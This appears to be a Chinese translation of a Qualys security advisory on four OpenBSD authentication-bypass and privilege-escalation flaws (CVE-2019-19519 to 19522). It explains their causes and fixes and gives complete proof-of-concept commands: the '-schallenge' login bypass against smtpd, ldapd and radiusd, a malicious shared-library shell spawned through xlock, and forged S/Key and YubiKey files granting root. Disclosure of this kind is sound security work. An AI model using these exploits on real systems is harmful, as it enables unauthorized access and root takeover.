OpenBSD四个严重的认证绕过和提权漏洞
2022-05-24 15:00:42 阿炯

本文由奇安信代码卫士团队编译。

具有安全基因、免费、基于 BSD 的类 Unix 开源操作系统 OpenBSD 被指存在四个高危安全漏洞。其中一个是存在于 BSD Auth 框架中传统的类型身份验证绕过漏洞,另外三个是可导致本地用户或恶意软件分别获取认证组、root 以及其它用户权限的提权漏洞。

早些时候,Qualys 研究实验室发现并报告了这些漏洞,而 OpenBSD 开发人员快速响应,在不到40小时的时间里迅速为 OpenBSD 6.5、6.6 发布补丁。研究人员对这些漏洞的分析和案例研究如下:

CVE-2019-19521:身份验证绕过

研究人员在 OpenBSD 的认证系统中发现了认证绕过漏洞CVE-2019-19521。该漏洞存在于 OpenBSD 身份验证框架解析通过 smtpd、ldapd、radiusd、su 或 sshd 服务登录的用户提供的用户名方式中。虽然可在 smtpd、ldapd和 radiusd 中远程利用该漏洞,但应该采取具体案例具体分析的方法评估它的影响。例如,sshd 或su 中具有深入防御机制,即使在身份验证成功被绕过后会挂起连接,因此无法被利用。不过攻击者仍然能够通过利用 sshd 中的这个漏洞来判断 OpenBSD 是否易受影响。

具体分析

从 login.conf 手册可获悉:
OpenBSD 使用了 BSD 身份验证,它由多种身份验证方式组成。目前涵盖的验证方式如下:
psswd:要求输入密码并将其和 master.passwd 文件中的密码进行比对。见 login_passwd(8)。
skey:发送challenge并请求响应,通过 S/Key (tm) 身份验证进行检查。见 login_skey(8)。
yubikey:使用 Yubico YubiKey 令牌进行验证。见 login_yubikey(8)。

对于任何既定方式,均通过 /usr/libexec/auth/login_style 程序进行验证,该程序的概要为:
/usr/libexec/auth/login_style [-v name=value][-s service] username clas

于是我们的第一个疑问是:如果攻击者指定了表单“-option”的用户名,那么就能够以预料之外的方法来影响身份验证程序的行为。

logi_passwd 的手册指出:login_passwd [-s service] [-v wheel=yes|no] [-vlastchance=yes|no] user

参数 service 指定了调用程序应该使用的协议。可以使用的协议是 login、challenge 和 response(OpenBSD 的身份验证框架将“schallenge”解释为“-s challenge”,从而强制系统静默忽视challenge 协议,从而自动绕过该验证方式。由于密码验证方式并非基于 challenge-response,因此将会报告成功结果。)

这就造成第二个疑问:如果攻击者指定了用户名“-schallenge”(或者指定“schallenge:passwd”来强制开展密码方式的身份验证),那么身份验证自动成功因此会被绕过。

1、案例研究:smtpd

为了演示smtpd的身份验证如何被绕过,我们按照 smtpd.conf 手册中的指令行事:
在第二个例子中,目的是允许邮件发送并仅为能够进行身份验证(使用正常的登录凭证)的用户中继。
...
listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"

之后我们重启了 smtpd。然后我们即可实施远程攻击:
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded

2、案例研究:ldapd

ldapd 手册指出:ldapd 能够通过简单的绑定或者具有uPLAIN 机制的SASL 对用户进行身份验证。当用户使用 SASL 绑定方式时,身份验证 ID 应该是BSD Authentication 的一个合法用户名。

要使其接受明文形式的密码,连接必须是安全的,或者使用加密连接或者使用配置文件中的安全关键字。在如此安全的连接中,远程攻击者可绕过 ldapd 的 SASL 身份验证方式:
$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)

$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
...
# numResponses: 1
-------------------------------

3、案例研究:radiusd

为了展示如何绕过 radiusd 的身份验证,我们截取了 radiusd.conf 手册中的配置示例:
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
...
authenticate * {
    authenticate-by "bsdauth"
}

之后我们发送了如下的(成功)验证请求:
$ radiusctl test 192.168.56.121 secret -schallenge password whatever
...
Reply-Message = "Authentication succeeded"

如果我们进一步修改 radiusd 的配置,限制对“operator”组成员的访问权限:
module set "bsdauth"  "restrict-group" "operator"

并且发送身份验证请求,那么 radiusd_bsdauth 就会因为空指针取消引用而崩溃(因为 getpwnam(“-schallenge”) 返回 NULL):
80 int
81 main(int argc, char *argv[])
82 {
...
192    pw = getpwnam(user);
...
197    if (gr->gr_gid == pw->pw_gid) {

4、案例研究:sshd

即使攻击者能够通过不合法用户如 “-schallenge” 绕过 sshd 的身份验证,sshd 最终会拒绝:
225 void
226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
227 {
...
229int authenticated = 0, partial = 0;
...
249while (!authenticated) {
...
288}
289
290if (!authctxt->valid)
291  fatal("%s: authenticated invalid user", __func__);

尽管如此,我们能够使用 sshd 远程测试 OpenBSD 系统是否易受 CVE-2019-19521 的影响:
$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \
 -o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121
...
debug1: Next authentication method: keyboard-interactive

如果连接挂起,那么证明易受攻击,因为 sshd 等待 login_passwd 发送一个 challenge,而 login_passwd 等待 sshd 发送一个响应(因为 login_passwd 将用户名“-sresponse”作为一种选项进行拦截)。

5、案例研究:su

本地攻击者能够为不合法的用户“-schallenge”绕过 su 的身份验证,但 su 最终由于空指针取消引用而崩溃(因为 getpwnam(“-schallenge”,…) 返回 NULL):
$ su -L -- -schallenge
Segmentation fault

CVE-2019-19520:xlock 中的本地提权

由于对 dlopen() 中所提供的环境路径的错误处理,OpenBSD 上默认安装的 xlock 可导致本地攻击者将权限提升至“auth”组。

OpenBSD 上默认安装 /usr/X11R6/bin/xlock,而且是 set-group-ID “auth”,而非 set-user-ID;因此下面的检查是不完整的而且应该使用 issetugid():
101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113if (geteuid() == getuid()) {
114  /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115  libPaths = getenv("LIBGL_DRIVERS_PATH");
----------------------------------------------------

本地攻击者能够利用该漏洞并将自己的驱动 dlopen() 以获取“auth”组的权限:
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
   gid_t rgid, egid, sgid;
   if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
   if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);

   char * const argv[] = { _PATH_KSHELL, NULL };
   execve(argv[0], argv, NULL);
   _exit(__LINE__);
}
EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

CVE-2019-19522:经由 S/Key 和 YubiKey 的本地提取

由于对通过非默认配置“S/Key”和“YubiKey”的授权机制操作不正确,因此具有“auth”组权限的本地攻击者能够获取 root 用户的完整权限。具体而言:

如果启用了 S/Key 或 YubiKey 认证方式(它们均为默认安装但默认禁用),那么本地攻击者能够利用“auth”组的权限获取用户“root”的完整权限(因为 login_skey 和login_yubikey 不会验证 /etc/skey and /var/db/yubikey 中的文件是否属于正确的用户,而且这些目录均可由“auth”组写入)。

注:要获取“auth”组的权限,本地攻击者可以首先利用 xlock 中的 CVE-2019-19520。

如果(通过 skeyinit -E)启用了 S/Key,那么具有“auth”权限的本地用户可为用户“root”增加一个 S/Key 条目(/etc/skey 中的文件)(如果该文件已存在,那么攻击者无法直接删除或更名,因为 /etc/skey 是粘性的:它已存在缓解措施,这个问题就留给感兴趣的读者吧):

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN

# id
uid=0(root) gid=0(wheel) ...

如果(通过 login.conf)启用了 YubiKey,具有“auth”权限的本地攻击者就能够为用户“root”增加一个 YubiKey 条目(/var/db/yubikey 中的两个文件)(如果这些文件已存在,那么攻击者就能够直接删除或更名,因为var/db/yubikey 不具有粘性):

$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey
Password: krkhgtuhdnjclrikikklulkldlutreul

# id
uid=0(root) gid=0(wheel) ...

CVE-2019-19519:su 中的本地提取

由于 su 的其中一个主要函数中存在一个逻辑错误,导致本地攻击者能够通过利用 su 的–L 选项实现任意用户的登录类(通常不包括 root)。

本地攻击者能够利用 su 的–L 选项(“一直循环,直到输入正确的用户名密码组合为止”)以自己的身份登录但使用的是其它用户的登录类(如果攻击者不在“wheel”组中则是root 的登录类),因为该类变量只设置一次而且不会重置:
60 int
61 main(int argc, char **argv)
62 {
...
174 for (;;) {
...
210  if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
211 class = strdup(pwd->pw_class);

在如下示例中,Jane(属于"wheel”组的一个成员)以 root 登录类("daemon”)登录,从而增加了她的登录级别资源限制:
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes  512

$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:

$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)

$ ulimit -H -a
...
processes  1310

在如下例子中,John(并非“wheel”组的成员),以 _pbuild 的登录类 (“pbuild”) 登录,从而降低了他的登录级别资源限制:
$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes)786432
...
processes  256

$ su -l -L
login: _pbuild
Password:
Login incorrect
login: john
Password:

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ulimit -H -a
...
data(kbytes)33554432
...
processes  1024

推荐阅读
出于安全考虑,OpenBSD禁用英特尔CPU超线程

原文链接
authentication-vulnerabilities-openbsd.txt
openbsd-authentication-vulnerability

本文由奇安信代码卫士编译,不代表奇安信观点。